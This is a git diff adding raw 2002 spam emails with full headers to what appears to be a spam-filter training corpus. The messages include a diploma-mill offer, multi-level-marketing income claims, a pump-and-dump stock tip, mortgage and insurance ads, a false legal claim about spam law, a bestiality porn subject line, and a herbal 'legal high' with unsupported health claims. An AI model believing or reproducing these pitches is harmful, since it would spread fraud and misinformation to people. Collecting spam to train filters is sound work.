     + + diff --git a/bayes/spamham/spam_2/01382.37400f7a1f36cd45165c2a72a9ec8baa b/bayes/spamham/spam_2/01382.37400f7a1f36cd45165c2a72a9ec8baa new file mode 100644 index 0000000..c011b14 --- /dev/null +++ b/bayes/spamham/spam_2/01382.37400f7a1f36cd45165c2a72a9ec8baa @@ -0,0 +1,52 @@ +From Jacquiro@tjohoo.se Sun Dec 1 16:14:33 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id D330D16F18 + for ; Sun, 1 Dec 2002 16:14:31 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Sun, 01 Dec 2002 16:14:31 +0000 (GMT) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id gAU28S805342 for + ; Sat, 30 Nov 2002 02:08:28 GMT +Received: from ntyqoi (user157.net352.fl.sprint-hsd.net [65.40.37.157]) by + webnote.net (8.9.3/8.9.3) with SMTP id CAA25979 for ; + Sat, 30 Nov 2002 02:09:59 GMT +From: Shanika Piyasena +To: +Subject: Prevent Employment Monotony yyyy +Date: Fri, 29 Nov 2002 18:11:21 -0500 +Content-Type: text/plain +Message-Id: +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from base64 to 8bit by dogma.slashnull.org id + gAU28S805342 + +YOUR DEGREE MAY BE CLOSER THAN YOU THINK +We remove the obstacles that cause adults to abandon hope. +DID YOU KNOW that you could earn your legitimate Associate's, Bachelor's, Master's or even Doctorate degree, utilizing your already existing professional or academic expertise? + +Prepare for the professional advancement you deserve +If you are an adult with a high school diploma and have a minimum of three years of experience in the field you are seeking a degree in, YOU QUALIFY. + +As you know, employers continually hire, promote and give raises to new employees that have ZERO skills or experience, just because they have that piece of paper. +Take part in the wealth now! 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11:10:33 +0000 (GMT) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id gB241w808214 for + ; Mon, 2 Dec 2002 04:02:09 GMT +Received: from webserver ([203.177.16.3]) by webnote.net (8.9.3/8.9.3) + with ESMTP id EAA08993 for ; Mon, 2 Dec 2002 04:03:28 + GMT +From: profile@e-frsecurities.com +Received: from mail pickup service by webserver with Microsoft SMTPSVC; + Mon, 2 Dec 2002 12:06:20 +0800 +To: +Subject: =?iso-8859-1?B?SXQnc6BUaW1loHRvoEludmVzdKB5b3VyoFdheQ==?= +Date: Mon, 2 Dec 2002 12:06:20 +0800 +MIME-Version: 1.0 +Content-Type: multipart/alternative; + boundary="----=_NextPart_000_76F4_01C299FB.39D33820" +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Message-Id: +X-Originalarrivaltime: 02 Dec 2002 04:06:20.0765 (UTC) FILETIME=[2BCC80D0:01C299B8] + +This is a multi-part message in MIME format. + +------=_NextPart_000_76F4_01C299FB.39D33820 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + =20 +Our company's investment objective is to achieve maximum capital +appreciation and substantial dividend distributions through our +successful operation and long-term quality service to our clients.=20 + +Before any investment is made with us, we have to check on our client's +suitability. Some investments are considered too high risk for low wage +earners or individuals below a certain liquid net worth. Therefore we +have developed our FRG Investment Locator. Apart from individual +consultation, this will guide our investment experts in making a +proficient individual investment plan. We are always open to our +clients' suggestions on how to form their investment strategy. In +special cases, clients specify what needs to be part of their portfolio. +However, we are always here to ensure that the clients always get the +best financial planning, based on their needs, goals, desires and risk +tolerance. + +learn more . . . =20 + + +Sincerely Yours, + +First Republic Securities=20 + + +You can visit us at http://www.e-frsecurities.com. + +If you wish to be removed from our mailing list, please click HERE + . + +------=_NextPart_000_76F4_01C299FB.39D33820 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + Time is running out = +

    Our company's investment objective is to achieve maximum = +capital appreciation and substantial dividend distributions through our = +successful operation and long-term quality service to our clients. = +

    Before any investment is = +made with us, we have to check on our client's suitability. Some = +investments are considered too high risk for low wage earners or = +individuals below a certain liquid net worth. Therefore we have = +developed our FRG Investment Locator. Apart from = +individual consultation, this will guide our investment experts in = +making a proficient individual investment plan. We are always open to = +our clients' suggestions on how to form their investment strategy. In = +special cases, clients specify what needs to be part of their portfolio. = +However, we are always here to ensure that the clients always get the = +best financial planning, based on their needs, goals, desires and risk = +tolerance.
    = +

    Sincerely Yours,

    First Republic Securities = +


    You can visit us at http://www.e-frsecurities.com.= +

    If you wish to be removed from our mailing list, please click HERE. +------=_NextPart_000_76F4_01C299FB.39D33820-- + + diff --git a/bayes/spamham/spam_2/01385.af7a1a172a6cd00ad09dc6adecb14cee b/bayes/spamham/spam_2/01385.af7a1a172a6cd00ad09dc6adecb14cee new file mode 100644 index 0000000..0599401 --- /dev/null +++ b/bayes/spamham/spam_2/01385.af7a1a172a6cd00ad09dc6adecb14cee @@ -0,0 +1,44 @@ +From moviedbjwuede@mandic.com.br Mon Dec 2 11:09:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id D0DD216F17 + for ; Mon, 2 Dec 2002 11:08:59 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 02 Dec 2002 11:08:59 +0000 (GMT) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id gB1JSm814962 for + ; Sun, 1 Dec 2002 19:28:48 GMT +Received: from mail239.nicetimeshere.com ([67.98.48.239]) by webnote.net + (8.9.3/8.9.3) with SMTP id TAA07642 for ; + Sun, 1 Dec 2002 19:30:21 GMT +From: moviedbjwuede@mandic.com.br +To: yyyy@netnoteinc.com +Date: Mon, 2 Dec 2002 15:30:27 -0500 +Message-Id: <1038861027.6635@mail239.nicetimeshere.com> +X-Mailer: QUALCOMM Windows Eudora Version 4.3.1 +Reply-To: +Subject: See a Horny Teen Girl Do a horse with a 31 inch C*ck it's FREE! -pkqolhil + + +SEE a Teen Farm Girl Do it with her horse see it Free! +You think you have seen some pretty crazy p*rn on the +internet?YOU HAVEN'T SEEN SH*T! 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If for any reason you don't want me to contact again, just email me and let me know. + + diff --git a/bayes/spamham/spam_2/01388.dba0966da5886e99fab13981da6c3834 b/bayes/spamham/spam_2/01388.dba0966da5886e99fab13981da6c3834 new file mode 100644 index 0000000..445d119 --- /dev/null +++ b/bayes/spamham/spam_2/01388.dba0966da5886e99fab13981da6c3834 @@ -0,0 +1,121 @@ +From Tim3h85kg9@bigfoot.com Wed Dec 4 11:58:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id 73AF016F49 + for ; Wed, 4 Dec 2002 11:57:21 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 04 Dec 2002 11:57:21 +0000 (GMT) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id gB44C1826936 for + ; Wed, 4 Dec 2002 04:12:01 GMT +Received: from bigfoot.com ([213.174.164.67]) by webnote.net (8.9.3/8.9.3) + with SMTP id EAA20057 for ; Wed, 4 Dec 2002 04:13:35 + GMT +From: Tim3h85kg9@bigfoot.com +Reply-To: +Message-Id: <023a20a14b3d$5527d4e1$8de38bc5@govygt> +To: Tim@webnote.net +Subject: THIS ONE WORKS +Date: Tue, 03 Dec 0102 17:08:50 +1100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Internet Mail Service (5.5.2650.21) +Importance: Normal + +Hello - + +You get emails every day, offering to show you how to make money. +Most of these emails are from people who are NOT making any money. +And they expect you to listen to them? + +Enough. + +If you want to make money with your computer, then you should +hook up with a group that is actually DOING it. We are making +a large, continuing income every month. What's more - we will +show YOU how to do the same thing. + +This business is done completely by internet and email, and you +can even join for free to check it out first. If you can send +an email, you can do this. No special "skills" are required. + +How much are we making? Anywhere from $500 to $9000 per month. +We are real people, and most of us work at this business part-time. +But keep in mind, we do WORK at it - I am not going to +insult your intelligence by saying you can sign up, do no work, +and rake in the cash. That kind of job does not exist. But if +you are willing to put in 10-12 hours per week, this might be +just the thing you are looking for. + +This is not income that is determined by luck, or work that is +done FOR you - it is all based on your effort. But, as I said, +there are no special skills required. And this income is RESIDUAL - +meaning that it continues each month (and it tends to increase +each month also). + +Interested? I invite you to find out more. You can get in as a +free member, at no cost, and no obligation to continue if you +decide it is not for you. We are just looking for people who still +have that "burning desire" to find an opportunity that will reward +them incredibly well, if they work at it. + +To grab a FREE ID#, simply reply to: sj95@yahoo.com +and in the body of the email, write this phrase: + +"Tim, enter my name for a free membership." + +Be sure to include your: +1. First name +2. Last name +3. Email address (if different from above) + +We will confirm your position and send you a special report +as soon as possible, and also Your free Member Number. + +That's all there's to it. + +We'll then send you info, and you can make up your own mind. + +Looking forward to hearing from you! + +Sincerely, + +Tim Hopkins + +P.S. After having several negative experiences with network +marketing companies I had pretty much given up on them. +This is different - there is value, integrity, and a +REAL opportunity to have your own home-based business... +and finally make real money on the internet. + +Don't pass this up..you can sign up and test-drive the +program for FREE. All you need to do is get your free +membership. + +Unsubscribing: Send a blank email to: sj95@yahoo.com with +"Remove" in the subject line. By submitting a request for a FREE +DHS Club Membership, I agree to accept email from the DHS Club for +both their consumer and business opportunities. + +This message is not intended for residents of the state of +Washington, and screening of addresses has been done to the best +of our technical ability. If you are Washington resident or +otherwise wish to be removed from this list, just follow the +removal instructions above. + + + + + + + + + +6184JQYf9-897vxaf2019nLAS2-399wyqF8426JMcl39 + + diff --git a/bayes/spamham/spam_2/01389.35f4d2a5f47c4b434434b3ca8dc5a924 b/bayes/spamham/spam_2/01389.35f4d2a5f47c4b434434b3ca8dc5a924 new file mode 100644 index 0000000..36b4b14 --- /dev/null +++ b/bayes/spamham/spam_2/01389.35f4d2a5f47c4b434434b3ca8dc5a924 @@ -0,0 +1,71 @@ +From mik323@usa.net Tue Dec 3 19:32:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id 2E17016F16 + for ; Tue, 3 Dec 2002 19:32:15 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 03 Dec 2002 19:32:15 +0000 (GMT) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id gB3JTh829868 for + ; Tue, 3 Dec 2002 19:29:43 GMT +Received: from usa.net ([202.102.243.3]) by webnote.net (8.9.3/8.9.3) with + SMTP id TAA18146; Tue, 3 Dec 2002 19:31:09 GMT +From: mik323@usa.net +Reply-To: +Message-Id: <021c43d38d4a$1145e5d2$7ae57cc4@ckyiie> +To: jenni@webnote.net +Subject: hi +Date: Tue, 03 Dec 2002 12:13:05 +0600 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: MIME-tools 5.503 (Entity 5.501) +Importance: Normal + +Do You Want To Make $1000 Or More Per Week? + + + +If you are a motivated and qualified individual - I +will personally demonstrate to you a system that will +make you $1,000 per week or more! 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    + Under Bill(s) 1618 TITLE III by the 105 US Congress, per Section + 301, Paragraph(a)(2)of S. 1618, a letter cannot be considered + Spam if the sender includes contact information and a method + of "removal".     +
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    + + + + + + + diff --git a/bayes/spamham/spam_2/01394.a76cc347fac514441bef43e7a599fb55 b/bayes/spamham/spam_2/01394.a76cc347fac514441bef43e7a599fb55 new file mode 100644 index 0000000..4722a19 --- /dev/null +++ b/bayes/spamham/spam_2/01394.a76cc347fac514441bef43e7a599fb55 @@ -0,0 +1,155 @@ +From alh4544032@mcimail.com Tue Dec 3 22:44:05 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id B044816F17 + for ; Tue, 3 Dec 2002 22:43:17 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 03 Dec 2002 22:43:17 +0000 (GMT) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id gB3JZX830159 for + ; Tue, 3 Dec 2002 19:35:34 GMT +Received: from 200.206.232.230 (200-206-232-230.terra.com.br + [200.206.232.230] (may be forged)) by webnote.net (8.9.3/8.9.3) with SMTP + id TAA18180 for ; Tue, 3 Dec 2002 19:37:02 GMT +Message-Id: <200212031937.TAA18180@webnote.net> +Received: from 155.89.28.179 ([155.89.28.179]) by rly-xw05.mx.aol.com with + smtp; Dec, 03 2002 1:27:46 PM +0400 +Received: from 213.54.67.154 ([213.54.67.154]) by sparc.isl.net with esmtp; + Dec, 03 2002 12:22:45 PM -0700 +Received: from 87.15.78.89 ([87.15.78.89]) by pet.vosn.net with local; + Dec, 03 2002 11:23:50 AM +0400 +Received: from 32.62.180.131 ([32.62.180.131]) by sydint1.microthin.com.au + with smtp; Dec, 03 2002 10:30:39 AM +1200 +From: "4544032@mcimail.com" +To: yyyy@netnoteinc.com +Cc: +Subject: NEW STOCK PICK: OUR LAST ONE--PICK UP 300%.............................................................................................................................................................................................. aufd iuju +Sender: "4544032@mcimail.com" +MIME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +Date: Tue, 3 Dec 2002 13:37:08 -0600 +X-Mailer: The Bat! (v1.52f) Business + + + + + + +Dear jm@netnoteinc.com : +

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     + +     		  MicroCap Marketing PLAY OF THE WEEK  for our investors + this week + is NANNACO, INC. (OTCBB: NNCO ).  If you tuned + in + to our last two picks, you would have noticed that ,  PRCT went from a close + of $.025 to a high of $0.12.  That's a 300% gain in just two days.  + Our other + pick, HUMT, almost gained over 200%. PLAY OF THE WEEK tracks stocks on downward trends, foresees + bottom and notify our subscribers of it potential upward movement.  We + also look for newly trading companies, and stocks that by comparing + trading history and shares in the marketplace we believe have great levity + upward. +

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       MicroCap + Marketing PLAYOF THE WEEK.  Our trademark is our + uncanny ability to spot stocks that have bottomed-out and anticipate their + rebound and upward trend.  Most of the stocks we track rebound and + peak within just two days, giving investors opportunity to make a few + bucks back in such a highly volatile market.  We don't believe the + market is such as to take any long-term positions right now.  But in + a highly unstable marketplace, the opportunities for short-term stabs + (gains) are abundant.  When the question today seems to be which way + is up, we like to think that from the bottom there is no other way---it's + all a matter of +timing.

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    + +ksxqtfdeqfehbhysh + + diff --git a/bayes/spamham/spam_2/01395.cb33d1d72f42e4ab9268729917bf428b b/bayes/spamham/spam_2/01395.cb33d1d72f42e4ab9268729917bf428b new file mode 100644 index 0000000..f98fdab --- /dev/null +++ b/bayes/spamham/spam_2/01395.cb33d1d72f42e4ab9268729917bf428b @@ -0,0 +1,37 @@ +From johnson11@aa64.toplinequotes.com Wed Dec 4 11:58:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id B0CB816F79 + for ; Wed, 4 Dec 2002 11:57:06 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 04 Dec 2002 11:57:06 +0000 (GMT) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id gB407C812882 for + ; Wed, 4 Dec 2002 00:07:13 GMT +Received: from aa64.toplinequotes.com ([157.237.139.64]) by webnote.net + (8.9.3/8.9.3) with ESMTP id AAA19155 for ; + Wed, 4 Dec 2002 00:08:47 GMT +From: johnson11@aa64.toplinequotes.com +Date: Tue, 3 Dec 2002 16:09:42 -0500 +Message-Id: <200212032109.gB3L9gN16409@aa64.toplinequotes.com> +To: jyyhpbwoom@aa64.toplinequotes.com +Reply-To: johnson11@aa64.toplinequotes.com +Subject: ADV: Free Mortgage Rate Quote mbvod + +Did you hear? Interest rates have just been lowered again. Don't delay! Get your free mortgage rate quote now and see how much you could save every month! + +Free, no obligation quote: +http://www.toplinequotes.com/freequote/ + + + + + +--------------------------------------- +To be removed, go to: +http://www.toplinequotes.com/unsubscribe/ +Allow 48-72 hours for removal. + + diff --git a/bayes/spamham/spam_2/01396.e80a10644810bc2ae3c1b58c5fd38dfa b/bayes/spamham/spam_2/01396.e80a10644810bc2ae3c1b58c5fd38dfa new file mode 100644 index 0000000..5e08ffb --- /dev/null +++ b/bayes/spamham/spam_2/01396.e80a10644810bc2ae3c1b58c5fd38dfa @@ -0,0 +1,271 @@ +From Professional_Career_Development_Institute-1-12032002-HTML@frugaljoe.330w.com Tue Dec 3 22:44:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id 32CB916F18 + for ; Tue, 3 Dec 2002 22:43:24 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 03 Dec 2002 22:43:24 +0000 (GMT) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id gB3Jdt830352 for + ; Tue, 3 Dec 2002 19:39:55 GMT +Received: from sandra.330w.com (joanna.330w.com [216.53.71.180]) by + webnote.net (8.9.3/8.9.3) with ESMTP id TAA18197 for ; + Tue, 3 Dec 2002 19:41:26 GMT +Message-Id: <200212031941.TAA18197@webnote.net> +Received: by sandra.330w.com (PowerMTA(TM) v1.5); Tue, 3 Dec 2002 13:19:58 + -0800 (envelope-from + ) +Content-Type: text/html +From: Professional_Career_Development_Institute@FrugalJoe.com +To: yyyy@netnoteinc.com +Subject: Busy? Home Study Makes Sense! +Id-Frugaljoe: yyyy####netnoteinc.com +Date: Tue, 3 Dec 2002 13:19:58 -0800 + + + + +Want To Be Your Own Boss? + + + + + +
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    + + + diff --git a/bayes/spamham/spam_2/01397.f75f0dd0dd923faefa3e9cc5ecb8c906 b/bayes/spamham/spam_2/01397.f75f0dd0dd923faefa3e9cc5ecb8c906 new file mode 100644 index 0000000..3119d78 --- /dev/null +++ b/bayes/spamham/spam_2/01397.f75f0dd0dd923faefa3e9cc5ecb8c906 @@ -0,0 +1,368 @@ +From tba@insiq.us Wed Dec 4 11:46:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id 20A1916F16 + for ; Wed, 4 Dec 2002 11:46:31 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 04 Dec 2002 11:46:31 +0000 (GMT) +Received: from mail1.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) + with ESMTP id gB3Nnf811481 for ; Tue, 3 Dec 2002 23:49:41 + GMT +Received: from mail pickup service by mail1.insuranceiq.com with Microsoft + SMTPSVC; Tue, 3 Dec 2002 18:52:30 -0500 +Subject: Preferred Non-Smoker Rates for Smokers +To: +Date: Tue, 3 Dec 2002 18:52:29 -0500 +From: "IQ - TBA" +Message-Id: <1db46b01c29b27$0a5a8710$6b01a8c0@insuranceiq.com> +X-Mailer: Microsoft CDO for Windows 2000 +MIME-Version: 1.0 +Content-Type: multipart/alternative; + boundary="----=_NextPart_000_1BDD6B_01C29AE9.2CD26A80" +Thread-Index: AcKbExWcLaNQipKOSyaQ45B0Kx/0DA== +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 03 Dec 2002 23:52:30.0156 (UTC) FILETIME=[0A7980C0:01C29B27] + +This is a multi-part message in MIME format. + +------=_NextPart_000_1BDD6B_01C29AE9.2CD26A80 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit + + Preferred Non-Smoker + + Just what the doctor ordered! + +Case Study #1 +Male - 63 +$5,000,000 face +Good Health +5-10 Cigarettes a day +Issued: Preferred Non-Smoker +Case Study #2 +Female - 57 +$785,000 face +Good Health +Social Cigarette Smoker +Issued: Preferred Non-Smoker +Case Study #3 +Male - 52 +$5,200,000 face +Good Health +1-2 Cigars a month +Issued:Preferred Best Non-Smoker +Case Study #4 +Male - 48 +$1,000,000 face +Private Pilot +Smokes Cigars Daily +Issued: Preferred Non-Smoker +without Aviation Flat Extra +Click here to provide the details on your tobacco case! + +Call the Doctor with your case details! +We've cured 1,000s of agents' "tough cases!" + 800-624-4502 +- or - +Please fill out the form below for more information +Name: +E-mail: +Phone: +City: State: + + + + Tennessee Brokerage Agency +We don't want anyone to receive our mailings who does not wish to +receive them. This is a professional communication sent to insurance +professionals. To be removed from this mailing list, DO NOT REPLY to +this message. Instead, go here: http://www.insuranceiq.com/optout/ + + +Legal Notice + +------=_NextPart_000_1BDD6B_01C29AE9.2CD26A80 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +Preferred Non-Smoker Rates for Smokers + + + +=20 + + =20 + + + + + + =20 + + +
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    Case Study #1
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    Issued: = +Preferred Non-Smoker
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    +     		=20 + + =20 + + +
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    Case Study #2
    Female = +- 57
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    =20 + + =20 + + +
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    Male - 52
    + $5,200,000 face
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    Issued:Preferred Best = +Non-Smoker
    +
    +     		=20 + + =20 + + +
    =20 + + =20 + + + =20 + + + =20 + + +
    Case Study #4
    Male - = +48
    + $1,000,000 face
    + Private Pilot
    + Smokes Cigars Daily
    Issued: = +Preferred Non-Smoker
    + without Aviation Flat = +Extra
    +
    +
    3D"Click
    + Call the Doctor with = +your case details!
    + We've cured 1,000s of = +agents' "tough cases!"
    +
    + - or -     +
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    +     + + + +------=_NextPart_000_1BDD6B_01C29AE9.2CD26A80-- + + diff --git a/bayes/spamham/spam_2/01398.8ca7045aae4184d56e8509dc5ad6d979 b/bayes/spamham/spam_2/01398.8ca7045aae4184d56e8509dc5ad6d979 new file mode 100644 index 0000000..e31ea64 --- /dev/null +++ b/bayes/spamham/spam_2/01398.8ca7045aae4184d56e8509dc5ad6d979 @@ -0,0 +1,78 @@ +Return-Path: +Received: from user2.pro-ns.net (user2.pro-ns.net [208.200.182.45]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6L8N9CT032714 + for ; Sun, 21 Jul 2002 03:23:09 -0500 (CDT) + (envelope-from raye@yahoo.lv) +Received: from 61.177.181.243 ([61.177.181.243]) + by user2.pro-ns.net (8.12.3/8.12.2) with SMTP id g6L8N0sC078493 + for ; Sun, 21 Jul 2002 03:23:04 -0500 (CDT) + (envelope-from raye@yahoo.lv) +Message-Id: <200207210823.g6L8N0sC078493@user2.pro-ns.net> +X-Authentication-Warning: user2.pro-ns.net: Host [61.177.181.243] claimed to be 61.177.181.243 +Received: from [135.12.72.250] by ssymail.ssy.co.kr with SMTP; Jul, 20 2003 3:55:17 PM -0100 +Received: from unknown (164.203.204.135) by a231242.upc-a.chello.nl with SMTP; Jul, 20 2003 2:53:19 PM -0000 +Received: from [198.250.227.71] by m10.grp.snv.yahoo.com with QMQP; Jul, 20 2003 2:06:31 PM +0300 +Received: from unknown (149.89.93.47) by rly-xr02.mx.aol.com with NNFMP; Jul, 20 2003 12:53:22 PM +0700 +From: Mike +To: Mailing.List@user2.pro-ns.net +Cc: +Subject: How to get 10,000 FREE hits per day to any website +Sender: Mike +Mime-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Sun, 20 Jul 2003 16:19:44 +0800 +X-Mailer: Microsoft Outlook Build 10.0.2616 + +Dear Subscriber, + +If I could show you a way to get up to 10,000 visitors a day to your web site, noting that it will cost you no money, and only 30 minutes a day of your time would you be interested? + +Click on the link (or copy and paste to your browser) for more information: + +http://www.worldbizservices.net/your/mpam/moreinfo.asp + +And I promise you this is not some disguised solicitation for money. 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This 12 step instruction course is absolutely free, and once you have completed it only an hour or less a day is needed to get thousands of visitors to any website you choose! + +http://www.worldbizservices.net/your/mpam/moreinfo.asp + +******************************************** +You are receiving this email either as agreed to when you posted to one of our many ffa pages, classified ad sites or search engines (either manually or through an automatic submission service), or you are on a list of people who are interested in increasing their web site traffic and income. + +If this is not the case PLEASE accept our sincerest apologies and follow the link below to unsubscribe from our mailing list. + +http://www.worldbizservices.net/your/unsubscribe.asp + +******************************************** +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01399.2319643317e2c5193d574e40a71809c2 b/bayes/spamham/spam_2/01399.2319643317e2c5193d574e40a71809c2 new file mode 100644 index 0000000..9593dd3 --- /dev/null +++ b/bayes/spamham/spam_2/01399.2319643317e2c5193d574e40a71809c2 @@ -0,0 +1,304 @@ +From cweqx@dialix.oz.au Tue Aug 6 11:03:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D3ACD44135 + for ; Tue, 6 Aug 2002 05:56:29 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 10:56:29 +0100 (IST) +Received: from clmail.chenlong.com.tw ([202.145.70.108]) + by webnote.net (8.9.3/8.9.3) with ESMTP id MAA14603; + Mon, 5 Aug 2002 12:04:58 +0100 +Received: from free.polbox.pl (empr2-196.menta.net [212.78.132.196]) by clmail.chenlong.com.tw with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) + id QJADW1LR; Mon, 5 Aug 2002 19:00:59 +0800 +Message-ID: <00002c030d0f$00000a0e$00006588@emerald.cns.net.au> +To: +From: "Mr. Clean" +Subject: Cannabis Difference +Date: Wed, 05 Aug 2020 04:01:50 -1900 +MIME-Version: 1.0 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit +Reply-To: cweqx@dialix.oz.au + +****Mid-Summer Customer Appreciation SALE!**** + +To express our appreciation to all of our loyal customers, we are offering the following products "2 for 1" for a limited time only. Ragga Dagga, Stoney Mahoney, Sweet Vjestika, Aqueous Kathmandu, along with a free 1oz. package of Capillaris Herba. + +We have three (3) NEW Renegade Botanicals From Exotic Botanical Resources, the ethnobotanical herbalists who brought the herba supplementals Kathmandu Temple Kiff 1 & 2 Personal Choice, pipe-smoking products/substances to the common market! + +Announcing: + +1. Temple 3 Ragga Dagga (tm) +2. Aqueous Kathmandu (tm) +3. Stoney Mahoney (tm) + +*********************************** +TEMPLE 3 RAGGA DAGGA +*********************************** + +We are finally able to offer for your Sensitive/Responsive, Personal Choice Smoking Enjoyment, the Temple 3 Ragga Dagga (tm) Pipe-Smoking Substance Supplemental Product. Introduced after three years of research and development, Temple 3 is Personal Choice, legal Smoking/Indulgence Redefined!!! + +Thanks to recent, dramatic, technological advances in the laboratorial processes for the extraction of alkaloid and glycocide supplements from botanicals/herbas/plant matter, we are now able to offer, in more cultivated/enhanced/viripotent/substantiated format, what had actually already been the most significant, lawful, Personal Choice smoking substance available on the planet. Temple 3 Ragga Dagga (tm) is the sweet, sweet evolution of all of that. + +* A 20 X more viripotent herba supplement than its predecessors (Temple 1 & 2)! +* Happier, happy smoking! +* Indeed, a depressive/regressive, supplemental mood-enhancer. +* More sophisticated, uplifting & poised than illegal smoking substances. +* NO regulation; NO illegality; NO failed drug tests! +* Inhibits stress & anxiety! +* Inspires conteplativeness & creativity! +* Ehances the sexual experience! +* Generates more restful sleep & lucid dreaming! +* A significant herba/botanical supplement in the battles against drug & alcohol dependence! +* Easily ignited & stoked. +* Smokes sweetly! +* Absolutely legal; non-invasive; no downside! +* Lingers for a good, goodly while! +* Possesses many fine ganja virtues with none of the negatives! +* Just a little snippet/pinch goes a long, long way. Just 4 or 5 draws of your pipe (a traditional hand herb-pipe is included with each package of Temple 3 Ragga Dagga). + +Temple 3 Ragga Dagga (tm) is an exclusive, botanical/herba, proprietary, Nepalese-formulated, "Sensitive/Responsive" pipe-smoking/stoking substance, and it is undoubtedly the most prestigious, legal offering of its sort on the planet! + +So smokin' stokin' potent is this cutting edge formulation, that we have even been able to establish a very happy clientele market base within the hard-core stoner arena and have made positive, happy, smoking differences in many, many lives. + +ABSOLUTELY LEGAL! MARVELOUSLY POTENT!! + +A one-of-a-kind, proprietary amalgamation, comprised of extreme high-ratio concentrated extracts which are derived from various common and uncommon "sensitive/responsive" herbas primarily cultivated within and imported from the southern and eastern hemispheres ... Temple 3 Ragga Dagga (tm) high-ratio, factored, botanical extractions are master-crafted into solid jiggets/bars which are structurally reminiscent of what one might find in the "happiness" coffee and tea houses of Nepal, Kathmandu or Amsterdam, and in many aspects, possesses a more collected and 